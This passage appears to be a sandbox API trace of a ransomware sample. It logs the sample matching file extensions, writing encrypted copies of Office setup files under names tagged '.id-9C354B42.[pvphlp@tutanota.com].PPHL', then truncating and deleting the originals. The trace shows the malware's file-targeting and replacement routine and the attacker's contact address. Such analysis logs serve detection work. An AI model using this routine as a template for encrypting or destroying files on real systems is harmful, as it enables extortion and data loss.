Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.693] lstrlenW (lpString=".doc") returned 4 [0069.693] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.693] lstrlenW (lpString=".docx") returned 5 [0069.693] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0069.693] lstrlenW (lpString=".pdf") returned 4 [0069.693] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.693] lstrlenW (lpString=".xls") returned 4 [0069.693] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".xlsx") returned 5 [0069.694] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0069.694] lstrlenW (lpString=".ppt") returned 4 [0069.694] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString=".zip") returned 4 [0069.694] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.694] lstrlenW (lpString=".rar") returned 4 [0069.694] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".bz2") returned 4 [0069.694] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".7z") returned 3 [0069.694] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString=".dbf") returned 4 [0069.694] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString=".1cd") returned 4 [0069.694] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString=".jpg") returned 4 [0069.694] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.694] lstrlenW (lpString=".doc") returned 4 [0069.694] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".docx") returned 5 [0069.694] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0069.694] lstrlenW (lpString=".pdf") returned 4 [0069.694] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".xls") returned 4 [0069.694] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.694] lstrlenW (lpString=".xlsx") returned 5 [0069.694] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0069.694] lstrlenW (lpString=".ppt") returned 4 [0069.695] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.695] lstrlenW (lpString=".zip") returned 4 [0069.695] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.695] lstrlenW (lpString=".rar") returned 4 [0069.695] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.695] lstrlenW (lpString=".bz2") returned 4 [0069.695] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.695] lstrlenW (lpString=".7z") returned 3 [0069.695] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.695] lstrlenW (lpString=".dbf") returned 4 [0069.695] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.695] lstrlenW (lpString=".1cd") returned 4 [0069.695] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0069.695] lstrlenW (lpString=".jpg") returned 4 [0069.695] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.695] lstrcmpiW (lpString1=".CHM", lpString2=".PPHL") returned -1 [0069.695] lstrlenW (lpString="PSS10R.CHM") returned 10 [0069.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0070.887] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=27195) returned 1 [0070.887] CloseHandle (hObject=0x1f0) returned 1 [0070.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0070.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0070.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0070.888] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.888] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0070.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0070.888] GetLastError () returned 0x0 [0070.888] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0071.056] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0071.058] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.058] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0071.058] SetEndOfFile (hFile=0x1f4) returned 1 [0071.058] CloseHandle (hObject=0x1f4) returned 1 [0071.070] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.070] SetEndOfFile (hFile=0x1f0) returned 1 [0071.071] CloseHandle (hObject=0x1f0) returned 1 [0071.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.071] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0071.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.071] lstrlenW (lpString=".doc") returned 4 [0071.071] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.071] lstrlenW (lpString=".docx") returned 5 [0071.071] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0071.071] lstrlenW (lpString=".pdf") returned 4 [0071.071] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString=".xls") returned 4 [0071.072] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString=".xlsx") returned 5 [0071.072] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0071.072] lstrlenW (lpString=".ppt") returned 4 [0071.072] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString=".zip") returned 4 [0071.072] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString=".rar") returned 4 [0071.072] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString=".bz2") returned 4 [0071.072] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.072] lstrlenW (lpString=".7z") returned 3 [0071.072] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString=".dbf") returned 4 [0071.072] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString=".1cd") returned 4 [0071.072] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString=".jpg") returned 4 [0071.072] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.072] lstrlenW (lpString=".doc") returned 4 [0071.072] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0071.072] lstrlenW (lpString=".docx") returned 5 [0071.073] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1 [0071.073] lstrlenW (lpString=".pdf") returned 4 [0071.073] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString=".xls") returned 4 [0071.073] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString=".xlsx") returned 5 [0071.073] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1 [0071.073] lstrlenW (lpString=".ppt") returned 4 [0071.073] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.073] lstrlenW (lpString=".zip") returned 4 [0071.073] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString=".rar") returned 4 [0071.073] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString=".bz2") returned 4 [0071.073] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0071.073] lstrlenW (lpString=".7z") returned 3 [0071.073] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0071.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.073] lstrlenW (lpString=".dbf") returned 4 [0071.073] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0071.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.073] lstrlenW (lpString=".1cd") returned 4 [0071.073] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0071.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0071.073] lstrlenW (lpString=".jpg") returned 4 [0071.073] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0071.074] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.074] lstrlenW (lpString="SETUP.XML") returned 9 [0071.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0071.201] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2362) returned 1 [0071.202] CloseHandle (hObject=0x210) returned 1 [0071.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0071.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0071.202] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.202] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0071.202] GetLastError () returned 0x0 [0071.202] ReadFile (in: hFile=0x210, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x93a, lpOverlapped=0x0) returned 1 [0071.261] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x940, lpOverlapped=0x0) returned 1 [0071.264] ReadFile (in: hFile=0x210, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.264] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.264] SetEndOfFile (hFile=0x1fc) returned 1 [0071.264] CloseHandle (hObject=0x1fc) returned 1 [0071.265] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.265] SetEndOfFile (hFile=0x210) returned 1 [0071.266] CloseHandle (hObject=0x210) returned 1 [0071.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0071.267] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0071.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.267] lstrlenW (lpString=".doc") returned 4 [0071.267] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.267] lstrlenW (lpString=".docx") returned 5 [0071.267] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.267] lstrlenW (lpString=".pdf") returned 4 [0071.267] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.267] lstrlenW (lpString=".xls") returned 4 [0071.267] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.267] lstrlenW (lpString=".xlsx") returned 5 [0071.267] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.267] lstrlenW (lpString=".ppt") returned 4 [0071.267] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.267] lstrlenW (lpString=".zip") returned 4 [0071.267] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.267] lstrlenW (lpString=".rar") returned 4 [0071.267] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.267] lstrlenW (lpString=".bz2") returned 4 [0071.267] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString=".7z") returned 3 [0071.268] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString=".dbf") returned 4 [0071.268] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString=".1cd") returned 4 [0071.268] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString=".jpg") returned 4 [0071.268] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString=".doc") returned 4 [0071.268] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString=".docx") returned 5 [0071.268] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0071.268] lstrlenW (lpString=".pdf") returned 4 [0071.268] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString=".xls") returned 4 [0071.268] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString=".xlsx") returned 5 [0071.268] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0071.268] lstrlenW (lpString=".ppt") returned 4 [0071.268] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.268] lstrlenW (lpString=".zip") returned 4 [0071.268] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0071.268] lstrlenW (lpString=".rar") returned 4 [0071.268] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0071.268] lstrlenW (lpString=".bz2") returned 4 [0071.269] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0071.269] lstrlenW (lpString=".7z") returned 3 [0071.269] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0071.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.269] lstrlenW (lpString=".dbf") returned 4 [0071.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0071.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.269] lstrlenW (lpString=".1cd") returned 4 [0071.269] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0071.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0071.269] lstrlenW (lpString=".jpg") returned 4 [0071.269] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0071.269] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0071.269] lstrlenW (lpString="SETUP.XML") returned 9 [0071.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0071.470] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1988) returned 1 [0071.470] CloseHandle (hObject=0x1f8) returned 1 [0071.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0071.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0071.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0071.471] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.471] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.472] GetLastError () returned 0x0 [0071.472] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0071.478] WriteFile (in: hFile=0x1f4, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0071.480] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, 